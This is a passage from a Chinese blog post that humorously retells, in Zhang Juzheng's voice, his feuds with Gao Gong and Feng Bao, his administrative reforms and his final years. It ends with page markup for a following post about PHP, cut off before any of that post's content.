<p>这件事由于兵部尚书郭乾表现太差，没办法，没决断简直和首辅大人李春芳有一拼。高拱找了理由把他给免职了。高拱这时想到了一流军事专家杨博，可人家曾经当过吏部尚书，怎么愿意再回兵部呢？</p>
<p>高拱就是高拱，杨博还是吏部尚书，高拱让他管理兵部事情，自己管理吏部事情。赵贞吉如果还在，肯定哭了。自己好不容易拉高拱下水，没想到人家虽然没名分，但有实。</p>
<p>徐阁老临走之前，将三位公子托付给我。</p>
<p>如今高拱再相，他可是有仇必报的人。李春芳老好人一个，想居中调停。可高拱是什么人，本来他就想上位首辅，结果还没找李春芳麻烦，李春芳自己却跳了出来。春芳既然不眷恋政权，为何要和你高拱斗，好！这年头，好人不好当。老子不干了，李春芳索性致仕。徐阁老的三位公子同时被抓，两位充军，田产也充公。徐阁老一再和我通信，我除了安慰老人家，别无他法，我可不敢得罪高拱。</p>
<p>虽然我不敢，但是有人敢。</p>
<p>高拱入阁以后，殷士儋想，陈以勤、高拱和我都是因为裕邸讲官的缘故入阁。他也在裕邸讲过学，轮也轮到自己入阁了。</p>
<p>可是高拱不打算提携殷士儋，他准备提携张四维。张四维性格恭顺，殷士儋倔强。好吧，既然你高拱不打算提携，殷士儋就自己想办法，你高拱通过内监入阁了，我殷士儋为何不能？</p>
<p>终于殷士儋通过特旨入阁了。</p>
<p>从此两人水火不容。</p>
<p>高拱发动言官不断弹劾殷士儋，高拱部下第一大将都给事中韩揖还没有正式上疏，就扬言威胁了。终于殷士儋忍不住了，他不是徐阁老，没那么好的耐心。在一个适当的机会，任性了一把。</p>
<p>我朝的故事，每月初一、十五，给事中要到内阁和大学士见面，大家作一个揖，称为“会揖”</p>
<p>，原是一个沟通交流的机会。</p>
<p>这一次，都给事中韩揖到了，会揖后，殷士儋开门见山，“听说科长对我不满意啊，不满意不妨的，可犯不着给人利用呀。”</p>
<p>堂堂一个内阁大学士居然在内阁中说出这样的话，韩揖当时就懵逼了。高拱听出了指桑骂槐，过来说道：“这算什么体统！”</p>
<p>高拱一说话，事情就简单了，不成体统的体统多着呢！少保、武英殿大学士殷士儋撸起袖子，一手指着少师、建极殿大学士兼掌吏部尚书高拱，痛痛快快地骂了起来；“驱逐陈阁老的是你，驱逐赵阁老的是你，驱逐李阁老的是你，如今想要提拔张四维，又来驱逐我！内阁是你们家的吗？”</p>
<p>当时，少保的双拳离少师只有0.01公分，说时迟，那时快，我、少傅、建极殿大学士张居立即上去拉架。“你张居正也不是好东西，徐阁老对你可有知遇之恩，你个狼心狗肺的东西……”</p>
<p>我操！我就想，皇上要是也在文华殿该多好，不知道他看见少师、少傅、少保三个老头掐架，会不会笑呢？</p>
<p>经过这一闹，殷士儋也没脸待下去，悄悄地走了，正如他轰轰烈烈地爱过，不，是闹过。</p>
<p>殷士儋走了，这回内阁就剩下我和高拱了，真的是周公、召公了。虽然我事事小心，但还是感到不安。我和高拱的位置太接近了。</p>
<p>在不断的政治战争中，皇上厌倦了，你们闹，我去静一静，他躲进了昭陵，从此不再出来。</p>
<p>7、登顶</p>
<p>大行皇帝离别之时，托孤高拱、我还有高仪。高仪是刚刚进入内阁的，还不到一个月，有些临危受命的赶脚。</p>
<p>大臣们在内阁痛哭，高拱更是嚎啕得不能自已，“十岁的太子，怎样治天下啊！”他觉得自己身上的担子更加重了。</p>
<p>这时，政治上崛起了一股新势力，冯保。冯保在世宗朝时就已经是司礼监秉笔太监了。穆宗一朝他多次想当掌印太监，可每次都有高拱的反对。这也难怪，高拱是靠着内监再次被起用的，他当然想用自己的人。</p>
<p>我朝的政治，本来充满弹性，司礼监的职权，没有明确的范围。名义上司礼监掌印太监是“掌理内外奏章及御前勘合”，秉笔太监是“掌章奏文书，照阁票批朱”。实际上他们的职权可以无限的扩大。掌理奏章是一个上下其手的机会，照阁票批朱是对于内阁票拟的谕旨，用朱笔加以最后的判断。这都是皇上的事情，后来皇上撂挑子，“批朱”的事情落在司礼监秉笔太监手上。虽然内阁大学士是皇上的私人秘书，但是秉笔太监成了皇上的机要秘书。这实际上真正的相权在太监手里。</p>
<p>现在冯保和高拱公开对立了，首先冯保利用皇后和皇贵妃的同情，驱逐了司礼监掌印太监孟冲，夺取了他的位置。</p>
<p>现在我们看看双方的阵容：</p>
<p>政治机构，司礼监vs内阁。</p>
<p>人员，冯保的身后有皇后、皇贵妃，尤其是皇贵妃，小皇帝只有十岁，当然和母亲站在一起了。高拱的身后有六科给事中和十三道监察御史。高拱是政治老斗士了，他战胜了好几位元老，当然看不上一个新进的掌印太监。他的身后有舆论和群众。亲密战友有高仪和我。高仪是高拱自己引进的，我当然不会背叛他了，我们是十几年的战友，我不说过他是周公，我是召公吗？</p>
<p>高拱最痛恨的就是中旨了。中旨是皇上的手谕。诏令是要经过中书省，才能生效的。我朝废除中书省，诏令要经过内阁才是合法的。我朝在内阁以外，还有通政司和六科，对于皇上的手谕有随时复奏封驳之权，因此皇上颁发手谕也是受到拘束的。可是，法制归法制，事实是事实，一般情况下手谕还是不免出来。</p>
<p>冯保就是通过穆宗遗诏当上司礼监。当时，高拱气得直跺脚，对传旨太监骂道：“皇上年龄小的很，中旨是谁的旨意，你们这帮死太监，老子迟早把你们赶跑。”</p>
<p>传旨太监告诉了冯保，冯保懵逼了，这么嚣张？冯保哭哭啼啼的去皇贵妃那里告状，穆宗皇帝驾崩那天，高拱在内阁里吵吵，“十岁的孩子，怎样做皇帝啊！”</p>
<p>“这是什么意思？”冯保稍微改造了一下高拱的句子，又恰到好处的提出了一个疑问句。“这是什么意思？”皇后、皇贵妃一下子紧张了起来，连小皇帝也变了脸色。</p>
<p>高拱当然也不能闲着，冯保是司礼监太监，他现在又利用中旨提督东厂了。司礼监掌印太监管宫内，东厂宫外，宫里宫外，冯保都能管，这还了得，他冯保成了实际的独裁者。高拱发动给事中、御史“嗖，嗖”的上疏弹劾冯保，一刻也不能闲。</p>
<p>内阁其他人呢？哦，高仪从入阁开始，就生病，一直在家养病。我忙着穆宗的葬事，没空啊。我不在北京。哎呦喂，各位看官，你们别闹，我不在北京，怎么对高拱和冯保的事情这么清楚。我……我……我后来听说的，毕竟事情闹得这么大，又有谁不知道。</p>
<p>穆宗葬事不可能一直忙吧？</p>
<p>哎呦喂，我说各位看官，你们怎么这么多问题。</p>
<p>你们说天这么热，路途又这么辛苦，我中暑了，请假在家，难道不行吗。</p>
<p>隆庆六年六月十六日，天还没有亮。小皇帝召集大臣们到会极门。高拱去了，他满以为这次一定能赶走冯保。没想到，此时的冯保正站立在小皇帝旁边，两人对视着，“完了，全完了。”高拱瞬间瘫坐在地上。</p>
<p>冯保宣读了圣旨，让高拱滚出京城，马不停蹄地滚出去，一刻也不能停。</p>
<p>匆忙之间，高拱狼狈地逃出北京城，匆忙之间连一辆马车都找到，只好坐着牛车。</p>
<p>我们可以想象一下这画面：落魄的老人，不停地吆喝着大笨牛，大笨牛还死倔，不紧不慢地走着，偶尔，停下，翘起尾巴，拉泡屎，急的老头直冒汗，因为后面一群大兵在追逐。当时这可是件大新闻，轰动大江南北。</p>
<p>不管怎么样，周公走了，剩下我这个召公了。“周公为师，召公为保，相成王为左右，召公不悦。”高拱，你要多读《书》。</p>
<p>六月十九日，小皇帝召见我，这是我当上首辅以来，第一次召见。那时是辰刻，比往常的早朝，要晚一些。</p>
<p>他说，“先生为父皇陵寝，辛苦了。但国家事重，先生不要请假了，在内阁里调理吧。”</p>
<p>好的，老夫病好了，全好了，不必劳皇上费心。您看我还能后空翻呢。</p>
<p>小皇帝又询问了一下大政方针。</p>
<p>“遵守成宪”就是这么简单，我不是王安石，什么变法，什么改革的，我只知道祖宗旧制。祖宗旧制是什么？解释权在我！</p>
<p>8、人事建设</p>
<p>当下最急需解决就是政治中枢。高拱走了，想要找到那样干练的吏部尚书是不可能的，但是现在有一位众望所归的大臣，管兵部的吏部尚书杨博。杨博子嘉靖三十四年以来，三任兵部尚书，嘉靖四十五年，调任吏部尚书，隆庆五年复又以吏部尚书起用，在资望方面没有比他在高的。</p>
<p>好了，杨博调回吏部，空下的兵部尚书呢？高拱曾经定下规矩，兵部侍郎出为总督，总督入为兵部尚书。现在有三位总督，前蓟辽总督谭纶，现任宣大总督王崇古，前任三边总督王之诰。我和杨博商量了一下，用谭纶比较好，然后我又给王崇古去信，说了一下情况，我朝刚与俺答贡市，还需要你的威望镇之。希望你不要介意没有推荐你来当兵部尚书。</p>
<p>正在我建设政治中枢的时候，高仪死了。嗯，他临危受命，现在内阁稳定了，他要去穆宗报告去了。</p>
<p>现在内阁就剩下我一个人了。论资望杨博肯定能入阁的，但是他已经是吏部尚书了。我朝故事，中枢二元制，吏部尚书地位本来在内阁大学士以上，自从世宗朝内阁权重以后，吏部尚书地位已不低于内阁。就是现在吏部尚书在路上遇见大学士也不避道。吏部尚书入阁的不是没有，高拱便是一个例子，但是那是特旨。廷推阁员的时候，通常都是选礼部尚书、礼部侍郎或者翰林学士等。好吧，我也有私心，就算杨博不是吏部尚书，我也不会选他的，我只需要一位忠厚老实的人，不需要雄才大略的重臣。为国家任贤选能固然重要，但是内阁安定更重要，隆庆年间的内阁窝里斗的事情刚刚过去不久。</p>
<p>所以我选了忠厚老实的礼部尚书吕调阳。</p>
<p>吕调阳空下的礼部尚书，我起用了陆树声。他是嘉靖二是年会试第一，曾掌南京翰林院，南京国子祭酒，后来召为吏部右侍郎，却称病不就，隆庆年间，再起故宫，仍不就。没想到这次他居然来了，我用后辈进见先辈之礼待遇他。</p>
<p>七月，户部尚书张守直，刑部尚书马自强致仕。张守直关于封贡一事，一直和我意见不和，马自强也对我有些微词。好了，他们走了。我补进王国光和王之诰。王国光原来就是以户部尚书，总督仓场，现在调回来管理部事。王之诰是我得亲家，隆庆三年总督陕西三边军务，后进南京兵部尚书，资望早就够了。</p>
<p>工部尚书朱衡、左都御史葛守礼留任，两人操守，才能都是众望所归。我虽然是首辅，但是内阁只是皇上的秘书机构，我当然没有任人的大权。但是合法手段行不通，不代表着不行，对于人选的布置，我可是费了好一番苦心，不管怎么说，最后的结果达到了我意愿。今后的用人，我都采用这个政策，想尽一切办法用那些我想用的人。</p>
<p>布置完各个枢要的人选，我还要应付三个更重要的人：皇贵妃；冯保；小皇帝。这三个都是我的主人，谁也不能得罪啊。</p>
<p>首先是要给皇后和皇贵妃上尊号。皇后当然尊为皇太后了，按理说李贵妃的地位要低一些，但是那样可以吗？不可以！绝对不可以，两位都是皇太后。两位都是皇太后，那称谓不容易混淆吗？没事儿，这都不叫事。我给皇后陈氏的尊号为仁圣皇太后，皇贵妃李氏的尊号为慈圣皇太后。</p>
<p>新皇登基，新气象啊，翰林院的燕子生了一窝白燕子，内阁的池塘开了一朵并蒂莲花，我忙进献给圣母，并写了祝词《白燕颂》、《白莲颂》。</p>
<p>不要说我拍马屁，阿谀奉承。目的达到了就行，皇上有手谕传来；“白燕、莲花俱进献圣母，甚是喜悦,却独产翰林院中,先开于密勿之地,上天正假此以见先生为社稷祥瑞,花中君子.朕赖先生启沃,固不敢颠纵,何德之有!”</p>
<p>李太后做功德，建涿州二桥，我写《敕建涿州二桥碑文》。</p>
<p>太后建承恩寺，我写碑文；太后建海会寺，我写碑文；太后建东岳庙，我写碑文，就这样说吧，太后做一件事，我就写篇文章拍马屁。</p>
<p>冯保不是一个安分守己的人呢，他的胡作非，我也有所耳闻，但是我不管，只要他不干政，做什么我都满足他。</p>
<p>冯保引用锦衣卫徐爵入宫，代阅奏章，拟诏旨；我就吩咐仆人游七和徐爵结为兄弟。</p>
<p>冯保要在故乡深州建牌坊，我就吩咐保定巡抚给他代建。</p>
<p>冯保自建生圹，我就给他写《冯公寿藏记》。</p>
<p>南京守备太监醉酒侮辱一个给事中，敢得罪言官，这下炸了窝。各路言官们争相恐后地弹劾那个守备太监。为了取悦冯保，我就把闹得最凶的给事中赵参鲁外放了，然后和冯保打了一下招呼，希望他能适当地约束一下手下。</p>
<p>为了让冯保有事情干，又有存在感，我就将一些礼仪性事务交给他处理，我只是希望他不要干政。</p>
<p>对待小皇帝，我不敢有丝毫怠慢，我亲自编写教材，亲自给他上课，洗脑要从娃娃开始。</p>
<p>9、开始</p>
<p>有人说我不行王道，只不过富国兴兵罢了。“呵呵，我何德何能，怎么富国兴兵了。”</p>
<p>国防是根本，帝国国防事业永远在第一位。</p>
<p>我开始了实行大臣巡边计划。</p>
<p>第一， 兵部左侍郎汪道昆巡视蓟、辽。</p>
<p>第二， 兵部右侍郎吴百朋巡视宣、大。</p>
<p>第三， 兵部侍郎协理京营戎政王麟巡视陕西四镇。</p>
<p>汪道昆和戚帅私交不错，又给戚帅去了信，一切顺利。</p>
<p>王麟对我有些微词，到了陕西办事办妥，便告病还乡。</p>
<p>吴百朋去宣大、山西的时候出了一些问题。王崇古怕吴百朋会干涉自己，吴百朋的朋友认为这是一种贬谪。别有办法，我只好双方去信解释。</p>
<p>吴百朋是有能力的，他去了以后，做出不少成绩，分别指出总督、巡抚个总兵的功过，奏请升黜。但是他严重地提出弹劾大同总兵马芳，认定了他行贿受贿。</p>
<p>好吧，行贿受贿，不用你调查我也知道，你是好样的，但是你没有考虑到我得处境。我苦口婆心地一番劝说，没有用，言官们认定了我包庇马芳，又把矛头对准了我。没办法，我只好把马芳免职了。</p>
<p>不能这样下去了，帝国需要一个有力地统治中心。</p>
<p>我的政令才能落实。我开始实行考成法。什么是考成法？就是述职报告，我要求官员写述职报告，述职报告写两份，一份交给各科，一份交给内阁。我根据述职报告来评定人员贤否。</p>
<p>六科控制六部，内阁控制六科，这是祖宗制度，我们都要遵守成宪。</p>
<p>什么？六科控制六部你们知道。内阁控制六科是什么时候制度？现在！</p>
<p>考成法的颁布，行政效率提高了，国家的税收提高了。</p>
<p>我朝建国已久，各地土地兼并严重，税收根本收不上了。汉武帝年间，桑弘羊的武器是平准法，他打倒了富商大贾，把一切囤积居奇的利益归为国有。</p>
<p>我不是桑弘羊，没有汉武帝那样雄才大略的君主支持。当然我也不敢彻底地得罪名门望族。海瑞那个例子摆着呢。我只是利用考成法，要求地方官员按实收租而已，把往年收不上来的都收上来。</p>
<p>富国是兴兵的基础，当然要想富，不外乎开源节流。</p>
<p>考成法是开源，下面就是节流了。</p>
<p>元夕灯火，皇帝要大摆筵席。我劝说皇上免了吧，皇上是个听话的孩子，“好的。”</p>
<p>嗯，不错，给光禄寺省了700两银子。</p>
<p>“皇上您知道宋仁宗吗，他可是位明君。他不喜欢珠玉，爱贤臣。”</p>
<p>“可是宫人们喜欢啊，朕需要赏赐她们呀。”</p>
<p>“明君贵五谷而贱珠玉，五谷养人，珠玉饥不可食。”</p>
<p>“那好，今后的赏赐我会节省的。”</p>
<p>内承运库太监崔敏上疏请买珠宝，疏发内阁，我瞥了一眼，不批！</p>
<p>国家正有条不紊地走入正轨。这时却发生了一件不大不小的事。</p>
<p>《乾清宫里的不速之客》这份报纸风靡全城。事情很简单，也很蹊跷。一天皇上在乾清宫溜达，见一人神色匆匆，忙叫人拿下。</p>
<p>冯保是东厂的头子，这件事当然要交给他了。</p>
<p>他很高兴，终于有事情干了。他想起了高拱，想起高拱怎么对自己的。</p>
<p>于是这个路人——王大臣，有了刀，有了供词，主使人是高拱。高拱派王大臣刺杀天子。</p>
<p>从嘉靖二十七年夏言被杀以来，我朝多了一项传统。</p>
<p>严阁老当政，杀夏言。徐阁老当政，杀严世藩，80多岁的严嵩流落街头。高拱当政，徐阁老儿子充军，自己也朝不保夕。现在我当政了，高拱要遭殃了。</p>
<p>所有人都认为这件事，是我指使的。我……</p>
<p>杨博和葛守礼这两个最有声望的大臣一起来拜见我，求我放过高拱，甚至用全家百口担保高拱的无辜。</p>
<p>我他妈的也生气了，我最敬佩的两个人也怀疑我。“两位是不是认定了这件事，是我指使的？”</p>
<p>杨博一看事不好，忙着改口，“不是的，只是这件事情，只有您才有回天之力。”</p>
<p>“好吧，那这样行不行？我奏明皇上，东厂的只是初审。我建议复审此案。”</p>
<p>锦衣卫左都督朱希孝和左都御史葛守礼以及冯保负责此事。我选朱希孝是有原因的，我朝历来尊重靖难功臣。朱希孝是第二名靖难功臣朱能之后，第六代成国公朱希忠之弟。第一名靖难功臣淇国公丘福的后代被消除了，成国公是第一世家。用朱希孝复审众望所归。可是这倒把他给难住了，朱希孝遵照冯保的意见，得罪了士大夫，遵照良心吧，有得罪了冯保。</p>
<p>他回头又把皮球抛给我，让我出主意。我也不想得罪冯保啊，高拱死活关我什么事情，不对啊，他死了，好像我要背骂名啊。我找杨博、葛守礼商量怎么办，反正是你们带头揽的事情。</p>
<p>最后，不知道谁给王大臣灌下一杯生漆酒，成了哑巴，他不能诬陷高拱指使，也不能陈述冯保教唆，就这样糊里糊涂地交给了刑部，砍了头。王大臣的血洗清了高拱的冤，可是没有洗净我的嫌疑。到最后，时人还是认为这事情是我干的。操！</p>
<p>万历元年，九月，杨博因病致仕。群臣廷推吏部尚书，候补人第一名，左都御史葛守礼，第二名，工部尚书朱衡，第三名，南京工部尚书张翰。葛守礼资望最高，朱衡治河有功，第三名一般都是分母，称为“陪推”，照例是不用的。</p>
<p>我推荐张瀚，张瀚呀，长得帅。</p>
<p>张瀚对于我，真是感激呀。</p>
<p>这时，礼部尚书陆树声因为对我有意见也要致仕，我托他弟弟劝他，没用！没办法，我只好亲自去他家里，可是这人一根筋，就是要致仕。好吧，那你给我推荐一个人，他推荐南京礼部侍郎万士和。</p>
<p>10、遵守成宪</p>
<p>接下来，我要干得是一件作死的事情——得罪读书人。历朝历代，得罪读书人的人，全没有好下场。当然，我不会觉得我是个例外，就算我现在的权威可以压制一切反对声，死后也会被清算的。既然走上这条不归路，我就风雨兼程，不会再想什么身后事了。</p>
<p>我朝的教育系统，两京的国子监是直接的国立大学，与地方无关。各府、州、县有府学、州学、县学，有一定的名额，归各省的提学官管辖。</p>
<p>太祖洪武年间规定，府学40人，州学30人，县学20人，日给廪膳，称为廪膳生员，廪膳每月领米一石，鱼肉油盐酱醋茶，也有官府提供。</p>
<p>宣德年间，规定府、州、县设增广生员，人数与廪膳生员相同。他们没有领米的权利，但是他们和廪膳生员一样，一家之内，出本人外，看可以免两个人的差役，换句话就是说一人读书，三人免役。以后又添附学生员，他们也有免役权利。这些生员，时人一般称为秀才。秀才们，有米可以领，免除劳役，文理通顺、有学问的可以考举人、进士，为国家做事。但是，大多秀才一辈子永远是秀才。秀才是地方上特权阶层，统治阶层的文官又出自他们，舆论又被他们控制着。他们可以压迫一般百姓，而百姓有没有机会和能力喊出反抗的声音。事实上，秀才常常就是当地领导阶层，就算不是，也会被领导阶层吸收，百姓们不但不会反对秀才，反而会拥护他们。</p>
<p>减少地方恶霸，为民众减轻负担，为公家平均劳役，就要整顿生员。</p>
<p>所以我指示地方学官，必须控制秀才质量，避免虚名不务实者混入；不许秀才干政，打倒游谈之士，不许私建书院；降低录取人数；确保通过考试的秀才能够被任用。</p>
<p>这都是老生常谈，这些政策不是没有颁布过，大多数不过一纸空文罢了。但是到我手里，就不一样了，因为我有考成法。因为考成法的关系，有司奉行非常严格，甚至出现了一州县仅录取一人的情况。</p>
<p>还有一个让我头疼的问题，就是驿站问题。驿站有主管人员，有马，有驴，有夫役，水驿有红船，有水夫，都很完备。这是一套完整的交通系统，可是马、驴从哪里来？船只哪里来？人力哪里来？都是民间，而且他们还要自备干粮。当然他们所做的这一切都无偿的，必须做的。实际上，交通干线附近的人民就成了国家的奴隶。</p>
<p>在太祖时代，非军国大事，不可以使用驿站。所以虽然有驿站制度，但是附近的百姓还可以忍受。</p>
<p>如今从最的六条已经发展到五十一条可以使用驿站的情况了。只有符合这五十一中的任何一条，都可以拿到证明使用驿站。那个证明称为勘合。</p>
<p>勘合分为五等：温良恭俭让。北京的勘合有兵部发出，各省的勘合由巡抚和巡按发出。填发的机关，还是有些限制的。可是实际填发的时候，就相当的“人性化”了。兵部可以发勘合送入，各省也可以发勘合送入，领用勘合的人没有限制归回日期。自己不用，还可以转给别人，名字不对，洗去，重新填。反正用勘合的人大多数不温良，也不恭俭，更谈不上让了，这五个字简直就是赤裸裸的讽刺啊。他们在驿站拼命的榨取百姓，要粮食，要柴炭，要酒席，要蔬菜，要鱼肉，要牲口，要人力。在交通干线的人民，真是处在水深火热之中。</p>
<p>所以我要恢复祖制，严格控制使用情况，而且使用后，必须归还勘合。</p>
<p>这些措施不是没有人实施过，不过都是一纸空文罢了。但是在我这儿，就不是了，因为我有考成法。</p>
<p>整顿驿站工作当然从自身做起，我儿子会江陵考试，我就让他自己花钱雇车。我父亲过生日，我就吩咐仆人背着寿礼骑驴回去。我弟弟病重回家乡养病，保定巡抚张卤送他勘合，我马上追缴回来。</p>
<p>甘肃巡抚侯东莱的儿子擅自使用驿站，言官弹劾他，虽然甘肃不是罪吃紧的地方，但是也在北方国防线，而且侯东莱很有能力，为了这件事，得罪一个封疆大吏。不管了，不能因为巡抚，坏了国法。我罢免他儿子的官。往后再想办法补偿他吧。</p>
<p>保定巡抚张卤一次上报十几个人，人数有些多。我就重点惩罚了太仆寺和太原府的官员。</p>
<p>没想到太原知府上书兵部和都察院，说他不是有意违法的，是山西巡抚派人护送他们外出公干，所以使用了外省驿站。</p>
<p>擦，居然把责任推到山西巡抚身上?山西可是国防要地，嗯，算了。我写信警告一下。</p>
<p>还有两种情况，我不好管。一个是内监，一个是衍圣公。内监的情况，我只好交给冯保了。衍圣公是孔圣人的后代，每年要入京朝贡。入京朝贡不好停止，不过每年都来，太频繁了。改成每三年来一次。</p>
<p>11、人性</p>
<p>湖广的官员说要给我在家乡建个牌坊。哎，建牌坊又费工又费料，一切的负担都得百姓承担，这样不好。他们说，没事，要不给大人折现吧。你们这帮孩子，让我怎么说你们？我们家的房子不太好，折现的钱不如给我修修房子吧。</p>
<p>都是孩子啊，理解能力不强。他们不仅给我建了牌坊，还修了房子。真拿他们没办法。不过他们没有动用老百姓，工人全是锦衣卫，这一点，我很欣慰。</p>
<p>有个知县给我送礼，我是拒绝的；他以为嫌少，又来了，我还是拒绝的；他第三次来的时候，居然还送来一条玉带，这种人好让人生气，我是清廉的，怎么会收礼？</p>
<p>还有一个巡抚，名声不好，卸任以后，四处活动，想要再次被起用。不知道他哪里的消息居然找到我这儿来了，我只是皇上的秘书，哪有那么大的能力，我开玩笑地对他说，会和吏部提一下。这货居然当真了！</p>
<p>我这么辛苦，为了谁？为了国家，为了天下苍生。可是有人不知好歹，居然告我。更可气是告诉我的人，居然是我的学生刘台。不行了，气死我了。我大明帝国二百年来，第一次有学生告老师的。</p>
<p>我混不下了，我请求致仕。</p>
<p>皇上降旨慰留，不行，我还是要请求致仕。</p>
<p>皇上再次下旨慰留，皇上还不放心，又派来司礼监太监孙隆前来慰留。</p>
<p>我再请求致仕，是不是太矫情了，算了。</p>
<p>皇上下旨打刘台100廷杖而后充军。</p>
<p>刘台毕竟是我的学生，他不懂事，是我教的不好，我去求求情吧。</p>
<p>皇上免了他廷杖，贬为庶民。</p>
<p>后来，有人揭发他在任时受贿，经调查属实，最后还是充军了。</p>
<p>妈的，这小子自己都不干净，沽名卖直之徒。</p>
<p>天有不测风云，人有旦夕祸福。这个消息对我来说，简直是晴天霹雳。我的父亲张文明去世了。我请求丁忧守制，安排父亲的丧事。</p>
<p>我朝的制度，在遇到承重祖父母、亲父母的丧事，守制二十七个月，期满起复。就是这二十七个月必须卸职回家，期满而后，照旧做官，称为“起复”。</p>
<p>皇上“夺情”。夺情就是二十七个月中，由皇上特别指定，不许卸职。</p>
<p>正在我考虑是否丁忧守制的时候。</p>
<p>户部侍郎李幼孜、冯保主张夺情。</p>
<p>北京御史、给事中要求夺情，南京御史、给事中也要求夺情。</p>
<p>形势一片大好，不对！是伤心，伤心不能为父亲丁忧守制。</p>
<p>这时，我的学生吴中行、赵用贤上疏要求我丁忧守制，接着刑部员外郎、我的老乡艾穆，、刑部主事沈思孝也上疏要求我丁忧守制。</p>
<p>从严阁老开始，敢攻击辅臣的，全是廷杖的惩罚。</p>
<p>杖、杖、杖，只有廷杖才能让他们老实。</p>
<p>当我匍匐在孝帷中的时候，礼部尚书马自强来了，翰林院的一大帮人来了。他们来给吴中行、赵用贤、艾穆、沈思孝四人求情。</p>
<p>“我在居丧之中，外面的事情，我不知道，也管不了。”</p>
<p>“皇上很生气，要廷杖他们四人。”</p>
<p>“皇上生气，我有什么办法？”</p>
<p>“可是皇上是为了给您出气啊？”</p>
<p>“刀，刀，我的刀呢？赶紧把我刀拿来！你们让我走，皇上让我留，我该怎么办？让我死了得了。”</p>
<p>我的学生、同乡居然攻击我。呵呵，想想，严阁老，他当国的时候，都没有同乡攻击他。我是不是对他们太好了，日了狗了。</p>
<p>七七之后，我入阁办事，不久之后有扫把星出现在天空。小人当道，嗯，肯定京城出现了坏人。皇上下旨考察京官，老虎不发威，你们真拿我当小猫咪了。这次，我好好的给你们这些人上上课，教给你们一个词语“党同伐异”。</p>
<p>最后我还是没有丁忧守制，不过我申请皇上停止我的俸禄，我要“停俸守制”，当然这个词是我发明的。</p>
<p>12、尾声</p>
<p>国家的政治中心在北京，国防第一线也在北方。这就需要南方的粮食源源不断的输送到北方来。我朝运粮，需要漕运，要想漕运，就得兴修水利。黄河是其中的重要一段，可是黄河经常因为泥沙问题，造成河道不通。</p>
<p>治理黄河好多年了，也不见成果。我决定起用潘季驯。关于治理黄河，有两种截然不同的方案。有人建议加宽河道，河道宽则水流畅。潘季驯则认为河道宽则流速小，则河沙沉底的几率越大，长年累月，河床就越积越。他主张，应该选择重要的地段把河道收紧，同时把附近的清水河流用人工疏凿引入黄河，以增加河水流速，这样可以不需要经常疏浚而“自浚”。</p>
<p>我没有亲自考察黄河，不过咨询了很多人，又看了些相关资料，去信给了意见，并表示，我没有亲自考察，又缺乏治河经验，那些意见仅供参考，你还是要坚持自己认为正确的方法。</p>
<p>我果然没有看错人，潘季驯成功了，实践证明他是正确的。</p>
<p>万历十年二月，浙江发生了兵变。事情是这样的，浙江巡抚吴善言奉召裁减东、西两营的粮饷，士兵哗变。以马文英、刘廷用为首，捉了巡抚痛打一顿。</p>
<p>我起用张佳胤为浙江巡抚平叛。张佳胤是高拱的人，但是个人才，我没有因为个人恩怨儿摒弃人才不用。</p>
<p>张佳胤赶去浙江的途中，又听说发生民变，“乱兵和乱民勾结了吗？”</p>
<p>“还没有！”</p>
<p>“赶快走，还来得及。”</p>
<p>张佳胤悄悄地入了杭州城，乱民四处烧杀抢掠，乱兵心绪惶惶，不知新来的巡抚如何处置他们。</p>
<p>张佳胤召来游击将军徐景星和东、西二营说，“要想将功赎罪，去把民变平定下来。”</p>
<p>这群乱兵一听这话，高兴极了，很快平定了民变，并送来一百五十个乱民，张佳胤下令杀掉三分之一，然后召马文英、刘廷用等人领赏。于是，这帮人来了，一共九个，上次兵变的首领，这次平乱的功臣，这时徐景星突然将他们全部逮捕，一刀一个。</p>
<p>顷刻之间，民变，兵变全部解决，我的眼光就是好。</p>
<p>正当大明朝蒸蒸日上的时候，我却病了，而且病得不轻。</p>
<p>病榻中，我想到徐阁老的生日快到了，我恳请吏部侍郎许国代拟寿序，序臣以后，我不满意，挣扎着亲自写了一篇；“居正尝谓，士君子所为尊主庇民，定经制，安社稷，有自以其身致之者，有不必身亲为之，而其道自行于天下，其泽自被于苍生者。窃以为此两者，惟吾师兼焉……”。</p>
<p>不知道，老师看到以后，会不会高兴。没错，徐阁老是我的恩师。</p>
<p>“尊主庇民，定经制，安社稷”老师亲身做到过；身后，托付给学生，我也做到了，这全是老师的功绩。</p>
<p>​</p>
<p>六月二十日，我知道自己不行了，但是我很欣慰，没有什么遗憾。国家蒸蒸日上，富国强兵指日可待，身后更无可担忧之事，皇上曾说过：</p>
<p>“先生功大，朕无以为酬，只是看顾先生的子孙罢了。”</p>
<p><img src="https://upload-images.jianshu.io/upload_images/17817191-799aa9e0990c9f2c?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image"></p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2019/07/16/php-代码段/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="苏生不惑">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="苏生不惑的博客">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/2019/07/16/php-代码段/" itemprop="url">php 代码段</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-07-16T13:43:21+08:00">
                2019-07-16
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                  <span class="post-meta-divider">|</span>
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">字数统计&#58;</span>
                
                <span title="字数统计">
                  17.3k 字
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                
                <span title="阅读时长">
                  88 分钟
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
